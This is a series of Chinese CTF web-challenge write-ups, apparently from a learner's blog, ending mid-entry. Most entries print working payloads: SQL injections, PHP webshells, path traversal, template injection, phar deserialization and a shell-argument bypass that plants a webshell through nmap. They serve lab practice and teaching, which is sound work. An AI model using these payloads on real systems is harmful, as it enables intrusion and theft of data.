[HCTF 2018]WarmUp

应该算是我CTF生涯中第一道正式的web题了吧，不得不说首先打开这个网页看见一个滑稽我内心是崩溃的==
既然啥都没有，那当然是要Ctrl+U看看源代码。

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->

    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
```

访问source.php

```
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
?>
```

以我羸弱的php知识外加Google发现这里有一个Checkfile，如果发现文件路径($page)在白名单中(包含编码后的)，则直接返回true。
接着访问hint.php

flag not here, and flag in ffffllllaaaagggg

好像现在没什么卵用 回到刚刚的source.php，我们可以这样绕过：

buuoj.cn/index.php?file=hint.php?/../../../../../ffffllllaaaagggg

得到flag

[强网杯 2019]随便注

这个注入太难顶了，以前做的那些都不叫啥玩意儿。fuzz下发现跳了个语句 `return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);` 去重修了以下sql发现还有很多语句没有过滤，先来试个`1';show tables#`，可以发现有两个表1919810931114514和words

```
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
```

然后我们查看1919810931114514的内容： `1';show columns from `1919810931114514`#` 如下

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

查看words的内容： `1';show columns from `words`#` 如下

```
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

```
array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

好吧现在我又看不懂了qaq。不过既然flag在前面那个表，而且把select过滤了，我是真的不知道该怎么操作了。遂看wp，发现有个`prepare`预编译指令。先把`select * from `1919810931114514`;`char化，然后使用`set`指令将char化后的语句弄到一个变量里面，然后是用`prepare`把变量预编译，然后执行。
payload如下：

```
-1';set @a = CONCAT('se','lect * from `1919810931114514`;');prepare b from
@a;EXECUTE b;#
```

获得flag

[HGAME 2020]Cosmos的博客

看见提示说用了git，考虑githack，发现没有什么卵用，冥思苦想后访问`.git/config`，发现GitHub地址，访问后在历史记录中找到flag。

[护网杯 2018]easy_tornado

一开始就看到三个提示

```
/flag.txt
/welcome.txt
/hints.txt
```

查看发现内容如下

```
node3.buuoj.cn/file?filename=/flag.txt&filehash=876c24991edc20a61fc400d87f906e58
/flag.txt
```

```
flag in /fllllllllllllag

node3.buuoj.cn/file?
filename=/welcome.txt&filehash=90dd1edab19fecf7c8b769af3da6ef18
/welcome.txt
render

node3.buuoj.cn/file?filename=/hints.txt&filehash=54f48cbcbf5ea9c0b49720e19d601406
/hints.txt
md5(cookie_secret+md5(filename))
```

看见有render，修改filehash出现错误，链接为

```
node3.buuoj.cn/error?msg=Error
```

msg可控，猜测有模板注入，查资料后发现`handler.settings`储存有`cookie_secret`，于是尝试

```
node3.buuoj.cn/error?msg={{handler.settings}}
```

弹出设置

```
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'f285519a-
1ab3-4870-9180-1a0c5be8eda7'}
```

于是直接构造获得字符串md5加密flag

[SUCTF 2019]EasySQL

看起来又是一个注入，随便输入了几个数字，发现0是没有回显的（好像没有什么卵用）。`1;show tables;`试试，发现有显示表名：

```
Array
(
    [0] => 1
)
Array
(
    [0] => Flag
)
```

然后尝试`1;show columns from `Flag``，好吧我知道出题人没这么sb。再来看看数据库`1;show databases;`，发现有点东西：

```
Array
(
    [0] => 1
)
Array
(
    [0] => ctf
)
Array
(
    [0] => ctftraining
)
Array
(
    [0] => information_schema
)
Array
(
    [0] => mysql
)
Array
(
    [0] => p
}
```

似乎也没啥卵用。fuzz了一下，显然是堆叠注入，但发现一大堆的关键字都被过滤了。查看了wp源码里面看到查询语句是`select $post['query']||flag from Flag`，可以发现这个||是逻辑运算符或，答案只能是0/1，所以要查询的话，就需要把||的作用去掉，按wp上的做法，用的是

```
1;set sql_mode=PIPES_AS_CONCAT;select 1
```

可以发现语句就变成了

```
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
```

`set sql_mode=PIPES_AS_CONCAT;`的意思就是把||视为字符串拼接，然后getflag。
不过在翻看dalao博客的时候发现了这个东西`select *,1||flag from Flag`，好吧我确实是没有想到还有这种操作的。

[HCTF 2018]admin

好吧，第一次看见这么现代化的题目，着实搞得我比较懵，首先尝试登录admin，无法确定admin是否存在，于是打开注册页面，注册admin，发现有admin账户，然后，然后就不知道怎么搞了qaq。当个正常用户试试注册，然后当然是成功注册，就没有然后了，放弃这题。

[强网杯 2019]高明的黑客

一打开发现了一大堆奇怪的源码，然后发现了有一大堆的system，不过执行条件看得我很懵好吗

```
if('V8dfwnVA5' == 'n3Ofh5nSW')
system($_POST['V8dfwnVA5'] ?? ' ');
```

这样的东西是什么鬼啊，这个还怎么tmd执行。猜测总有可以用的一个webshell，于是，开始暴力。遍历每一个文件的每一个传参位置，总会有正确的一个。用python写个脚本，让它自动跑一跑。（加上了进度条，不然看着总以为没动静）

```
import os
import requests
import re
import progressbar

FilePath = './src/'
files = os.listdir(FilePath)
url = 'http://8e790631-8693-48d7-a070-a30a598d21ca.node3.buuoj.cn/'
p = progressbar.ProgressBar(len(files))
cnt = 0

def get_params(name):
    ans = []
    name = FilePath + name
    phpfile = open(name, 'r')
    get = re.compile(r"GET\['(.+?)'\]")
    post = re.compile(r"POST\['(.+?)'\]")
    getnum = re.findall(get, phpfile.read())
    postnum = re.findall(post, phpfile.read())
    ans.append(getnum)
    ans.append(postnum)
    return ans

def send(params, filename):

    ans1 = ''
    ans2 = ''

    for param_get in params[0]:
        get = requests.get(url + filename + '?' + param_get + '=cat /flag')
        ans1 = re.findall(r'flag*', get.text)
        if ans1 != []:
```

```
            return param_get

    for param_post in params[1]:
        post = requests.post(url + filename, data={param_post: 'cat /flag'})
        ans2 = re.findall(r'flag*', post.text)
        if ans2 != []:
            return param_post

    return False

if __name__ == '__main__':
    for i in files:
        try:
            params = get_params(i)
            ans = send(params, i)
            if ans != False:
                print('php file is:' + i + ' and the param is:' + ans)
                exit()
            cnt += 1
            p.update(cnt)
        except:
            pass
```

成功getflag

[RoarCTF 2019]Easy Calc

一打开发现是一个计算器，查看源码后发现有一个`calc.php`，并且传入了一个参数`num`来实现计算功能。代码如下：

```
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[',
'\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>
```

明确的是要绕过检测，那我们使用

```
calc.php? num=var_dump(scandir(chr(47)))
```

加一个空格，可以使get得到为有空格的变量，而解析的时候变成没有空格的变量。过滤了目录符号，我们使用chr(47)来绕过。可以发现目录结构如下：

```
array(24) {
    [0]=> string(1) "."
    [1]=> string(2) ".."
    [2]=> string(10) ".dockerenv"
    [3]=> string(3) "bin"
    [4]=> string(4) "boot"
    [5]=> string(3) "dev"
    [6]=> string(3) "etc"
    [7]=> string(5) "f1agg"
    [8]=> string(4) "home"
    [9]=> string(3) "lib"
    [10]=> string(5) "lib64"
    [11]=> string(5) "media"
    [12]=> string(3) "mnt"
    [13]=> string(3) "opt"
    [14]=> string(4) "proc"
    [15]=> string(4) "root"
    [16]=> string(3) "run"
    [17]=> string(4) "sbin"
    [18]=> string(3) "srv"
    [19]=> string(8) "start.sh"
    [20]=> string(3) "sys"
    [21]=> string(3) "tmp"
    [22]=> string(3) "usr"
    [23]=> string(3) "var"
}
```

发现有一个`f1agg`，于是查看：

```
/calc.php?
%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(10
3)))
```

[SUCTF 2019]CheckIn

看题目像是一道签到题==。打开发现是一个文件上传的页面。尝试上传一个php文件，显而易见的是会显示非法的。
于是我们准备一个一句话木马，修改文件后缀后传入，文件名为`test.ppp`

```
<?php eval(@$_GET['a']); ?>
```

好吧这个签到题并没有我想的这么简单，提示了

```
<? in contents!
```

看起来是对文件内容进行了过滤。所以我们随便整点东西进去，发现有提示：

```
exif_imagetype:not image!
```

好吧，看起来要加一个图像文件头。`BM`是bmp文件头，加上过后发现上传成功：

```
Your dir uploads/2c67ca1eaeadbdc1868d67003072b481
Your files :
array(4) {
    [0]=> string(1) "."
    [1]=> string(2) ".."
    [2]=> string(9) "index.php"
    [3]=> string(8) "test.ppp"
}
```

看起来我们可以准备一个长得像这样的图片马：

```
BM
<script language="php">eval($_GET['a']);</script>
```

由于要使图片马运行，则需要将文件解析为php代码，于是经过查找资料，发现修改`.htaccess`和`.user.ini`可以实现这一点，而经过测试发现这是个nginx，`.htaccess`是apache专用，于是就修改后者。

```
BM
auto_prepend_file=a.jpg
```

这样就可以实现运行每个php文件后都会自动解析a.jpg作为php代码。 然后`var_dump(scandir('/'))`发现存在`/flag`，查看内容，`var_dump(file_get_content('/flag'))`得到flag

[CISCN2019 华北赛区 Day2 Web1]Hack World

看起来是个布尔盲注，进行测试，发现查询成功是true，错误是false，fuzz后发现大部分的语句都没有被过滤，并且空格可用(或者)绕过。
使用`id=1=1`和`id=1=0`输出不一致进行注入。
编写脚本：

```
import requests
import string

url = 'http://3a5eb2a7-2181-43b5-8d42-bf30a66184b4.node3.buuoj.cn'
flag = ''

if __name__ == "__main__":
    printablelist = string.printable
    for i in range(1, 50):
        for j in printablelist:
            res = requests.post(url, data={'id':
'1=if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)' % (i, ord(j))})
            if 'Hello' in res.text:
                flag += j
                print(flag)
                break
```

得到flag

[De1CTF 2019]SSRF Me

打开看到的是一大堆乱码，看得我一脸懵逼。查看源码后发现这是用flask写的，里面有几个路由

- `/geneSign`可由post和get接受param的文件路径并和scan与secret_key生成一个md5作为签名
- `/De1ta`由cookie接受action和sign，另由post或get接受param，显示action的操作结果
- `/`直接打开就是显示源代码

要注意一下的就是里面生成签名只能由`/geneSign`路由生成，但是很显然的发现我们需要生成一个有效的action为read的签名才能对scan得到的文件进行读取得到flag。
查找资料后发现这是一个典型的哈希长度拓展攻击伪造签名。
大概意思就是当知道`hash(secret + message)`的值及`secret`长度的情况下，可以推算出`hash(secret + message+padding+m)`。在这里`m`是任意数据，`padding`是`secret`后的填充字节，`message`是之前的已知数据。
对于本题，我们可以发现，计算签名的方法是`md5(secert_key + param + action)`，我们可以控制的有两个量，`param`和`action`，联系哈希长度攻击的特点，攻击点显然就在最后面的`action`。

- 已知量：`/geneSign`获得的签名`md5(secert_key + 'flag.txt' + 'scan')`
- 伪造量：`md5(secert_key + 'flag.txt' + 'scanread')`

于是步骤就显而易见了。

```
hashpumpy.hashpump('ad25170d3a7ea6b2c1d5e5b3c3afd8ca','flag.txtscan','read',16)
#hashpump中，第一个参数是已知的md5，第二个参数是原message，第三个是攻击数据，最后一个是
```

```
key长度
```

得到flag

[网鼎杯 2018]Fakebook

打开看起来像是一个留言板，随便注册一个账号，发现blog那里只能填链接，于是就填了个baidu.com，之后登录发现，网页里面有一个iframe，但是没有内容qaq。测试了一下admin，竟然注册成功了wdnmd。
用burpsuite扫了一下，发现有`robots.txt`且存在注入。
查看robots.txt

```
User-agent: *
Disallow: /user.php.bak
```

发现有源码泄露

```
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
```

```
            return $this->get($this->blog);
        }

        public function isValidBlog ()
        {
            $blog = $this->blog;
            return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}
    (\:[0-9]+)?(\/\S*)?$/i", $blog);
        }
    }
```

并且view.php页面存在注入。尝试注入时，union select会显示hack，于是使用注释符号绕过union/**/select。使用order by测试出查询有4个字段。注入：

```
-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables
where table_schema=database()
```

获得表users

```
-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns
where table_name='users'
```

获得列no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

```
-1 union/**/select 1,data,3,4 from users where name='123'
```

发现序列化数据O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:9:"baidu.com";} 。
使用注入访问file:///var/www/html/flag.php

```
-1 union/**/select 1,2,3,'O:8:"UserInfo":3:
{s:4:"name";s:7:"abelche";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/fl
ag.php";}'
```

得到flag

[极客大挑战 2019]Havefun

f12查看源码即可解题

[极客大挑战 2019]EasySQL

常识题

```
username=admin
password=1 or 1=1#
```

[RoarCTF 2019]Easy Java

进去是一个登陆页面，先尝试注入，尼玛完全没反应。查看源码后发现有一个Download?filename=help.docx，访问没有反应，尝试改为post，得到文件内容，恢复为docx：

```
Are you sure the flag is here? ? ?
```

看起来没啥卵用。查过资料后发现，java里面有一个WEB-INF文件夹，专门放不可直接访问的网页。

```
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml: Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/: 含了站点所有用的 class 文件，包括 servlet class 和非servlet
class，他们不能包含在 .jar文件中
/WEB-INF/lib/: 存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据
库驱动jar文件
/WEB-INF/src/: 源码目录，按照包名结构放置各个java文件。
/WEB-INF/database.properties: 数据库配置文件
漏洞检测以及利用方法：通过找到web.xml文件，推断class文件的路径，最后直接class文件，在通
过反编译class文件，得到网站源码
```

那我们就先看看这个/WEB-INF/web.xml，发现FlagController，查看文件/WEB-INF/classes/FlagController.class
得到flag

[极客大挑战 2019]Secret File

burpsuite抓包发现有secr3t.php，访问后发现是一个文件查看。使用

```
php://filter/read=convert.base64-encode/resource=flag.php
```

php伪协议绕过，发现flag

[0CTF 2016]piapiapia

打开是一个登陆页面，用御剑扫，发现有register.php，config.php，用dirscan扫，发现了源码备份文件www.zip：

```
static
upload
class.php       #类
config.php      #连接mysql服务器配置
index.php       #登录页面
profile.php     #反序列化加载用户数据
register.php    #注册页面
update.php      #新增用户数据，序列化写入数据库
```

class.php中写了一个user类继承自mysql类，将config.php包含，config.php里面有连接mysql的相关信息，可以发现有个flag变量。
传文件的时候成功传了一个马上去，但是并没有找到解析为php的方法。本题用了序列化，猜测是利用反序列化字符串逃逸读取config中的内容。

```
$profile['phone'] = 12345678901;
$profile['email'] = 'v@v.v';
$profile['nickname'] = 'vc';
$profile['photo'] = 'upload/' . md5($file['test.php']);
serialize($profile);
```

序列化后是

```
a:4:
{s:5:"phone";i:12345678901;s:5:"email";s:5:"v@v.v";s:8:"nickname";s:2:"vc";s:5:"ph
oto";s:39:"upload/93bc3c03503d8768cf7cc1e39ce16fcb";}
```

序列化以后，filter方法会将where替换为hacker，刚好多了一个长度。并且phone和email都是限制死了，只有nickname有点操作空间，大概思路就是构造一个带有where并且photo为config.php的字符串提交上去，程序将替换多出来的字符项替提交上去的photo字段。
这时发现nickname有长度限制，我们需要使用数组来绕过strlen。
我们所需要添加的序列化字符串为

```
";}s:5:"photo";s:10:"config.php";}
```

要添加34个字符才能把这一串挤出去，于是就要添加34个where在前面

```
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewh
erewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewher
ewhere";}s:5:"photo";s:10:"config.php";}
```

得到flag

[极客大挑战 2019]PHP

打开是一个页面：

```
因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯
```

盲猜是源码泄露，`www.zip`，竟然一下就猜到了，文件如下：

```
class.php
flag.php
index.js
index.php
style.css
```

`index.php`这里也是用到了反序列化。这里的反序列化是直接运行，没有进行任何的判断。于是我们使用反序列化来修改，要注意一下的就是类中的权限问题，对于Public当然名字就没改变，对于Private，格式应该是`%00类名%00属性名`，Protect是`%00*%00属性名`。于是构造payload如下：

```
O:4:"Name":10:
{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
```

得到flag

[极客大挑战 2019]Knife

打开是一个页面

```
我家菜刀丢了，你能帮我找一下么
eval($_POST["Syc"]);
```

显然是一个一句话。用burp直接提交，没反应，尝试菜刀，可以过，对比header后发现需要加上`Content-Type: application/x-www-form-urlencoded`

得到flag

[SUCTF 2019]Pythonginx

打开就能看见源码。看起来是一个绕过：

```
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我才 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我才 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我才 your problem? 333"
```

使用了三种方法过滤，找到了一个资料。 抄到一个脚本：

```
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass


def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
```

```
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()
```

我们使用`str: Ｃ unicode: \uff23`字符来绕过来查看`/usr/local/nginx/conf/nginx.conf`

```
file://suctf.cＣ/../../../../../usr/local/nginx/conf/nginx.conf
```

然后发现有个

```
file://suctf.cＣ/../../../../../usr/ffffffflag
```

得到flag

[CISCN2019 华北赛区 Day1 Web1]Dropbox

打开也是登录页，注入测试后没有反应，于是`dirsearch`扫后台，发现有

```
[09:27:03] 302 -    0B  - /php  ->  login.php
[09:27:03] 400 -  154B  - /%2e%2e/google.com
[09:28:46] 302 -    0B  - /adminphp  ->  login.php
[09:32:02] 302 -    0B  - /delete.php  ->  login.php
[09:33:25] 302 -    0B  - /index.php  ->  login.php
[09:34:08] 200 -    1KB - /login.php
[09:34:43] 302 -    0B  - /myadminphp  ->  login.php
[09:36:02] 200 -    1KB - /register.php
[09:36:51] 301 -  185B  - /static  ->  http://8855b362-a6d4-4711-b2c2-
ce02a6d410d1.node3.buuoj.cn/static/
[09:37:35] 302 -    0B  - /upload.php  ->  login.php
[09:37:38] 301 -  185B  - /uploads  ->  http://8855b362-a6d4-4711-b2c2-
```

```
ce02a6d410d1.node3.buuoj.cn/uploads/
[09:37:38] 403 -  571B  - /uploads/
```

另外还有download.php。可以猜测上传文件内容是放在uploads里面。测试上传php文件，失败。更改为gif后缀并加上GIF89a文件头上传成功。在burp中修改下载文件为../../index.php，把源码统统下载下来：

```
class.php       #三个类
delete.php      #删除文件
download.php    #下载文件
index.php       #
register.php    #
upload.php      #
```

尝试下载系统文件，成功，但是发现download里面专门ban掉了flag qaq。
不过发现类中有魔术方法，User类：

```
__construct()
__destruct()
```

只对数据库进行了打开和关闭的操作，无法利用。FileList类：

```
__construct()   #创建新对象时运行
__call()        #对象调用的方法不存在时运行
__destruct()    #销毁对象时运行
```

有可控的操作文件的变量，可加以利用。
payload：

```
<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}

$a = new User();
```

```
$a->db = new FileList();

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>
```

要注意的是上传的时候要将phar文件后缀更改为gif，而更改后缀的文件依旧可以被各种函数识别为phar文件，也就是说，是否为phar文件，只取决于文件内容，并且与文件内容的开头也没有关系，下面这样也可以正常运行。

```
文件名：phar.gif
GIF89a<?php xxxxxxx ?>
```

在del的时候在burp里面把filename改为phar://phar.gif即可
大概思路如下

1. 利用delete.php中调用的`$file->open()`中含有的`file_exists`触发phar反序列化解析。
2. 使用`User`类的`db`中调用了一次的`close`，将`db`设为`Filelist`类的对象，调用`Filelist`中不存在的`close`方法。
3. `close`方法不存在于`Filelist`，就会自动运行`__call()`方法。
4. `__call`方法的代码就会调用`Filelist`中新建的`File`类`file`对象中，不存在于`Filelist`类中的`close`方法，即调用`File`中的`close`方法。
5. `close`方法中会使用`file_get_contens()`函数，这个函数的返回值会储存在`Filelist`中的`result`里面。
6. `result`又会被`__destruct()`方法显示，得到flag

[极客大挑战 2019]LoveSQL

一看就是个注入，然后使用

```
username = admin
password = 1'or 1=1
```

登陆成功，发现密码是一个字符串，我竟然以为这就是flag，于是提交，现实显然没有这么简单。
于是测试

```
check.php?username=admin&password=1'or 1=1 order by 4%23
```

可以发现只有三个参数，这里要注意一下%23和#，后者会报错qaq。 然后联合注入：

```
#测试参数显示
check.php?username=admin&password=1'or 1=1 union select 1,2,3 order by 3 ASC%23

#获取表名
check.php?username=admin&password=1'or 1=1 union select
1,2,group_concat(table_name) from information_schema.tables where
table_schema=database() order by 2 ASC%23
'geekuser,l0ve1ysq1'

#获取列名
check.php?username=admin&password=1'or 1=1 union select
1,2,group_concat(column_name) from information_schema.columns where
table_name='geekuser' order by 2 ASC%23
'id,username,password'

#查看username
check.php?username=admin&password=1'or 1=1 union select 1,2,group_concat(username)
from 'l0ve1ysq1' order by 2 ASC%23
'cl4y,glzjin,Z4cHAr7zCr,0xC4m3l,Ayrain,Akko,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,fo
uc5,fouc5,leixiao,flag'

#读取flag
check.php?username=admin&password=1'or 1=1 union select 1,2,group_concat(password)
from l0ve1ysq1 where username='flag' order by 2 ASC%23
'flag{be6b367b-2444-42e2-a40b-0d5e3cf59cd4}'
```

得到flag

[BUUCTF 2018]Online Tool

打开显示源码：

```
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
```

```
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
```

主要的问题出在这两行上面：

```
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
```

escapeshellarg函数是将已有的字符串加上单引号，并且将字符串中原有的单引号转义。escapeshellcmd函数是对特殊字符进行转义，并对不配对的单引号进行转义。
所以我们可以直接给命令加上单引号包裹然后传给host。假设要加入的命令为xxx，步骤如下：

1. escapeshellarg处理为'xxx'
2. 然后为转义的单引号两边的字符串都加上单引号包裹（空的也要加哦）''\''xxx'\'''
3. escapeshellcmd处理为''\\''xxx'\\'''

所以最后执行的命令就是\\xxx\，在命令开头的地方加上看空格就可以忽略前面的反斜杠。还要利用的一个东西就是nmap的-oG参数，可以写入文件。
payload：

```
host=' <?php echo `cat /flag`; ?> -oG test.php '
```

查看沙盒test.php，得到flag

[ZJCTF 2019]NiZhuanSiWei

打开是源码：

```
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit();
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
```

```
}
else{
    highlight_file(__FILE__);
}
?>
```

可以看见首先要绕过第一个if，我们使用data协议绕过：

```
text=data:text/plain,welcome to the zjctf
```

然后是第二个绕过，可以发现过滤了flag，尝试访问flag.php发现有这个文件，因此断定flag就在这里，并且看见后面有一个反序列化